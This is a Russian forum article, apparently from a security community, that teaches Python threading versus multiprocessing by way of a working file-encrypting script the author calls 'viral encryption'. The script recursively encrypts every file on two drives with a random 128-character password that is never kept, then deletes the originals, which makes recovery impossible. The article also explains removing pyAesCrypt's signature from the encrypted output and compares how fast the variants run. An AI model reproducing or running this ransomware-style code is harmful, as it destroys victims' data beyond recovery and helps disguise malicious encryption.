Статья Шифрование на Python - многопоточность. Часть 2

Доброго времени суток, друзья !
main.png


В первой части мы писали функции и главное окно программы. Вторую часть я решил сделать, чтобы доработать код и разобрать тему многопоточности в пайтон. Алгоритм шифрования оставим на PyAesCrypt, но есть кое-что, что я с самого начала хотелось поменять.

Короче, погнали.


Внутри PyAes :


После функции шифрования мы получаем что-то вроде этого в файле :

ver_aes.png


Автор указал тут название и версию библиотеки (что я считаю правильно и никого не осуждаю) но мне хотелось бы избавиться от этого. Во время тестов я пробовал заменять первые байты ( ровно всю длину этого сообщения ) на свои, потом подставлять в расшифровку, но это ломает алгоритм. И могу предположить почему, заглянув в модуль :

change_ver.png


В \Lib\site-packages\pyAesCrypt (в своем питоне) в файле crypto.py я отредактировал строку CREATED_BY_pyAesCrypt + version
поменяв ее на первые строки считалки Крюггера)
Как мило (нет)

new_ver.png


Вот что получилось. На расшифровку это не влияет. А вот строка AES ломает аалгоритм, видимо по ней идет проверка что файл вообще зашифрован (находится в AES формате) но это не точно.

В принципе мне этого пока достаточно. Давайте перейдем к основной теме статьи - многопоточности питона.


Немного теории по GIL, Threading и Multiprocessing :

Совсем уж не буду вдаваться в теорию, информацию можно найти в сети, но для понимания (если кто забыл или не знал или решил повторить) немного остановимся.

GIL - это механизм блокировки, который предотвращает одновременное выполнение кода Python двумя потоками в одном процессе. Иными словами - в любой момент времени только один поток может быть в состоянии выполнения.

Получается что Threads ( потоки ) - работают не параллельно. Поток делит выделенную память ядру процессора, а так же его процессорное время со всеми другими потоками. По умолчанию программы на python имеют один основной поток. Можно создать их больше и позволить Python переключаться между ними, что создает иллюзию многопоточности.

Лучшая аналогия что я нашел - сравнивает этот процесс с шахматистом-гроссмейстером, соревнующимся одновременно со многими противниками. Это всего лишь один человек, но ему нужно переключаться между задачами (играми) и помнить состояние (обычно это называется state) для каждой игры.

Поскольку потоки выполняется на одном процессоре, они хорошо подходят для ускорения некоторых задач, но не для всех. Задачи, которые требуют значительных вычислений ЦП и тратят мало времени на ожидание внешних событий, быстрее будут работать с процессами (multiprocessing).

Multiprocessing - представляет собой так же независимую последовательность выполнения вычислений. В отличие от потоков, процесс имеет собственное ядро и следовательно выделенную ему память, которое не используется совместно с другими процессами. Процесс может клонировать себя, создавая два или более экземпляра в одном ядре процессора.

Итак, вывод :
Процессы ускоряют операции на Python, которые создают интенсивную вычислительную нагрузку на центральный процессор, используя сразу несколько ядер и избегая GIL, в то время как потоки лучше подходят для задач ввода-вывода или задач, связанных с внешними системами, потому что потоки могут более эффективно работать вместе.

Все пока, больше не стану грузить скучными определениями, тем более рассказать все в одной статье не получиться ( можно глянуть только доку по мультипроцессингу и зависнуть надолго :)) Главное для начала - уяснить разницу между этими понятиями и правильно применять на практике тот или иной модуль.


От теории к практике (вирусное шифрование):

Итак, для практики я создал два диска (E:\ и F:\) на винде и подготовил скрипт :

Python:
import random
import os
import threading
from multiprocessing import Process

import pyAesCrypt

# наши диски
dir_e = 'E:/'
dir_f = 'F:/'
# для генерации пароля
chars = '+-/*!@#$&=<>abcdifghijklmnopqrstuvwxyzABCDIFGHIJKLMNOPQRSTUVWXYZ1234567890'

# генерируем пароль в 128 символов чтобы уж точно не расшифровать
def generate_pass():
    password = ''
    for i in range(128):
        password += random.choice(chars)
    return password

# шифруем файл
def crypt_file(file, password):
    try:
        bufferSize = 512 * 1024
        pyAesCrypt.encryptFile(str(file), str(file) + ".zvp",
                               password, bufferSize)
        os.remove(file)
    except:
        pass

# идем по директориям
def crypt_disk(dir, password):
    try:
        for file in os.listdir(dir):
            if os.path.isdir(dir + '\\' + file):
                crypt_disk(dir + '\\' + file, password)
            if os.path.isfile(dir + '\\' + file):
                try:
                    crypt_file(dir + '\\' + file, password)
                except:
                    pass
    except OSError:
        pass

# используем потоки
def crypting(dir, password):
    pycrypt = threading.Thread(target=crypt_disk, args=(dir, password))
    pycrypt.start()

# используем процессы
#def crypting(dir, password):
    #pycrypt = Process(target=crypt_disk, args=(dir, password))
    #pycrypt.start()


try:
    #crypting(dir_e, password=generate_pass())
    #crypting(dir_f, password=generate_pass())
    crypt_disk(dir_e, password=generate_pass()) # запускаем без потоков и процессов
    crypt_disk(dir_f, password=generate_pass()) # диски будут шифроваться по очереди
except Exception as e:
    pass

Использование процессов в этом случае будет оптимальным выбором. Так как шифрование в большей степени задействует вычислительные ресурсы процессора.
Я закинул небольшие директории и проверил время работы для 3-х случаев.

Шифрование дисков по очереди без потоков и процессов = 1 минута 18 секунд
Шифрование с использованием потоков = 2 минуты 1 секунда !!! В данном случае потоки замедляют процесс выполнения.
Шифрование с использованием процессов = 45 секунд. Что в данном случае является лучшим результатом.


Вывод :

Собственно, неправильно выбранный метод реализации может утяжелить и замедлить ваш код при написании многопоточности. Это может быть сканер, брутер, спамер и тд. На этом заканчиваю эту часть.
С наилучшими пожеланиями.

Спасибо за внимание !
 

TR1X

Green Team
04.04.2020
220
156
BIT
134
Статья 🔥, большое спасибо автору данной статьи за его кропотливую работу и разъяснения, ждём продолжения творчества.

"Шифрование дисков по очереди без потоков и процессов = 1 минута 18 секунд
Шифрование с использованием потоков = 2 минуты 1 секунда !!! В данном случае потоки замедляют процесс выполнения.
Шифрование с использованием процессов = 45 секунд. Что в данном случае является лучшим результатом.", и все же автор в итоге оставил вариант шифрование 1ый а не 3ий при шифровании с использованием процессов, почему? (большое спасибо за анализ с разным методом).
Спасибо за крутой отзыв, будут ещё темы)
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!